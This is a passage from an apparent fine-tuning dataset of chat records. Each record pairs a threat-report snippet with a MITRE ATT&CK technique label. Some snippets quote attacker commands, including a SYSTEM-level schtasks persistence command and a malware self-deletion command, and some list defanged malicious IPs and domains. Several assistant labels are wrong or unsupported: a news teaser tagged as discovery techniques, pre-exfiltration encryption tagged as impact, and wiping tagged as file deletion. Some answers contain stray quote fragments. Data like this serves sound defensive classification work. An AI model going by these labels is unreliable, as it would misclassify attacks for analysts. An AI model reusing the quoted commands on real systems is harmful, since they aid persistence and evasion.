            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware component, test.exe, uses the Windows command \"cmd.exe\" /C whoami” to verify it is running with the elevated privileges of “System” and creates persistence by creating the following scheduled task:     schtasks /create /tn \"mysc\" /tr C:\\Users\\Public\\test.exe /sc ONLOGON     /ru \"System\" When executed, the malware first establishes a SOCKS5 connection to 192.157.198.103 using TCP port 1913"
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FrameworkPOS can use DNS tunneling for exfiltration of credit card data."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling has the ability to capture and store clipboard data."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When it first starts, BADNEWS crawls the victim's mapped drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "tfvn[.]com[.]vnshirkeswitch[.]netguideofgeorgia[.]orggulfclouds[.]sitejhssourcingltd[.]comkamagra4uk[.]compioneerfitting[.]compositronicsindia[.]comscseguros[.]ptspldernet[.]comtoshioco[.]comwww[.]happytohelpyou[.]inIP addressesThe following IP addresses have been observed to be associated with malware campaigns.112.213.89[.]4067.23.254[.]6162.212.33[.]98153.92.5[.]124185.117.22[.]19723.94.188[.]24667.23.254[.]17072.52.150[.]218148.66.136[.]62107.180.24[.]253108.179.246[.]13818.221.35[.]21494.46.15[.]20066.23.237[.]18672.52.150[.]218URLs:The following URLs have been observed to be associated with malware campaigns.https[:]//a[.]pomf[.]cat/http[:]//pomf[.]cat/upload[.]php"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "payloads are obfuscated prior to compilation to inhibit analysis and/or reverse engineering."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can execute a PowerShell script received from C2."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "First, the sample is UPX packed"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLEAD can use `ShellExecute` to execute applications."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 used the \"netstat -anpo tcp\" command to display TCP connections on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To get a job from the Google Drive account, the Trojan starts by creating a string that has the following structure with each element within the subdomain subjected to the number to character substitution from Table 4: c<unique identifier><job identifier padded with ‘0’ to make three digits><sequence number>c.<C2 domain> The Trojan will then obtain an OAUTH access token to the Google Drive in the same manner as before when obtaining the unique identifier"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nefilim removes itself from the target systems after infection with the following code: del C:\\Users\\admin\\AppData\\Local\\Temp\\<ransomware_file_name>.exe\" /s /f /q\""
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has created new services to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The file collection tool used by RainyDay can utilize native API including \"ReadDirectoryChangeW\" for folder monitoring."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The SHAPESHIFT malware is capable of wiping disks, erasing volumes and deleting files, depending on its configuration"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For C0015, the threat actors used Cobalt Strike and Conti ransomware."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command_Create&amp;Inject: This command creates a new process (using a supplied filename as the process name) and then injects malicious code into it"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some variants of  use SSL to communicate with C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DLL side loading is often used to maintain persistence on the compromised system"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clop has used a simple XOR operation to decrypt strings."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackEnergy has the capability to communicate over a backup channel via plus.google.com."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To recap, on September 18, 2017, we disclosed that CCleaner had been targeted by cybercriminals, in order to distribute malware via the CCleaner installation file. The altered installation file was downloaded by 2.27 million CCleaner customers worldwide. The malware was introduced to the build server of Piriform, the company developing CCleaner, some time between March 11 and July 4, 2017, prior to Avast’s acquisition of Piriform on July 18, 2017"
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can inject a malicious DLL into a process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The 0x1 bit in the control flags is used in this module to specify if the download should be done via HTTPS"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 uses a tool to infect connected USB devices and transmit itself to air-gapped computers when the infected USB device is inserted."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gold Dragon stores information gathered from the endpoint in a file named 1.hwp."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "copies documents under 15MB found on the victim system to is the user's %temp%\\SMB\\ folder. It also copies files from USB devices to a predefined directory."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltration over control server channel: data is exfiltrated over the control server channel using a custom protocol - Commonly used port: the attackers used common ports such as port 443 for control server communications - Service execution: registers the implant as a service on the victim’s machine - Automated collection: the implant automatically collects data about the victim and sends it to the control server - Data from local system: local system is discovered and data is gathered - Process discovery: implants can list processes running on the system - System time discovery: part of the data reconnaissance method, the system time is also sent to the control server - File deletion:: malware can wipe files indicated by the attacker"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery', 'T1119 - Automated Collection', 'T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CreepyDrive can use HTTPS for C2 using the Microsoft Graph API."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "However, the campaign that the PDC has recently observed has been delivering this keylogger exclusively"
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Micropsia creates a shortcut to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Execution through API (Batch file for example). - Application processes discovery with some procedures as the hashes of the name, and directly for the name of the process. File and directory discovery: to search files to encrypt. Encrypt files. Create files"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mofang's malicious spearphishing attachments required a user to open the file after receiving."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For CostaRicto, the threat actors established domains, some of which appeared to spoof legitimate domains."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Encryption consists of XOR with a hardcoded key for its configuration and RC4 with a predefined password for encrypting the victim’s data"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbon uses the \"net view\" command."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Watch on Fox News: Hackers may use fake Netflix app to spy on users As users have become more attached to their mobile devices, they want everything on those devices"
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery', 'T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can use MSI files to execute DLLs."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has leverage NordVPN for its egress points when targeting intended victims."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the volumes mapped on the system, and also steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium has the ability to store its components in the Registry."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Naikon has used administrator credentials for lateral movement in compromised networks."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Goopy has checked for the Google Updater process to ensure Goopy was loaded properly."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The loader component is executed via RUNDLL32.EXE"
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has searched for vulnerabilities, tools, and geopolitical trends on Google to target victims."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Invoke-PSImage can be used to embed payload data within a new image file."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can use zlib to compress and decompress data."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Taidoor can use \"DeleteFileA\" to remove files from infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This adversary group is most commonly associated with a custom PowerShell implant identified as Helminth. The Helminth implant is routinely delivered through macro-enabled Microsoft Office documents requiring user interaction to execute an obfuscated Visual Basic Script"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has deployed XMRig Docker images to mine cryptocurrency. TeamTNT has also infected Docker containers and Kubernetes clusters with XMRig, and used RainbowMiner and lolMiner for mining cryptocurrency."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Epic encrypts collected data using a public key framework before sending it over the C2 channel. Some variants encrypt the collected data with AES and encode it with base64 before transmitting it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil can download a copy of itself from an attacker controlled IP address to the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Javali can read C2 information from Google Documents and YouTube."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may collect information the victim's anti-virus software."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use the Windows API function CreateProcess to execute another process."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  variant is encoded using a simple XOR cipher."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some  variants use SSL to encrypt C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conficker adds Registry Run keys to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used \"net user\" for account discovery."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZeroT gathers the victim's computer name, Windows version, and system language, and then sends it to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Industroyer uses heavily obfuscated code in its Windows Notepad backdoor."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts with the 3DES algorithm and a hardcoded key prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several  backdoors achieved persistence by adding a Run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDAT can process steganographic images attached to email messages to send and receive C2 commands. RDAT can also embed additional messages within BMP images to communicate with the RDAT operator."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation via Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Uses 7-Zip to compress stolen data for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DCSrv can compare the current time on an infected host with a configuration value to determine when to start the encryption process."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Get.exe appears to be a custom tool used to scan IP-ranges for HTTP service information. NCC Group and Fox-IT decompiled the tool for analysis. This showed the tool was written in the Python scripting language and packed into a Windows executable file. Though Fox-IT didn’t find any direct occurrences of the tool on the internet, the decompiled code showed strong similarities with the source code of a tool named GetHttpsInfo. GetHttpsInfo scans the internal network for HTTP &amp; HTTPS services. The reconnaissance tool getHttpsInfo is able to discover HTTP servers within the range of a network"
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may store RC4 encrypted configuration information in the Windows Registry."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has been known to use multiple backdoors per campaign."
            },
            {
                "role": "assistant",
                "content": "T1108 - Redundant Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sodinokibi attempts to encrypt data in a user's directory and delete shadow copy backups to make data recovery more difficult. This vulnerability is easy for attackers to exploit, as anyone with HTTP access to the WebLogic server could carry out an attack. Attackers have been making use of this exploit in the wild since at least April 17. Initial stages of the ransomware attack occurred on April 25, the day before Oracle released their update. The attackers are downloading the Sodinokibi ransomware. In this case, the attackers simply leveraged the Oracle WebLogic vulnerability, causing the affected server to download a copy of the ransomware from attacker-controlled IP addresses 188.166.74[.]218 and 45.55.211[.]79. The 188.166.74[.]218 IP address is also home to a pair of other malicious domains unrelated to this ransomware attack: arg0s-co[.]uk, which is likely a phishing domain, and projectstore[.]guru, a domain with bogus PDF-related Google search results. The other IP, 45.55.211[.]79, hosts a pair of legitimate Chilean domains, and appears to have been infected and repurposed by the attackers. The attackers were ultimately successful at encrypting a number of systems during this incident. Cisco IR Services and Talos observed the attack requests originating from 130.61.54[.]136"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrackMapExec can discover specified filetypes and log files on a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has used xmrig to mine cryptocurrency."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
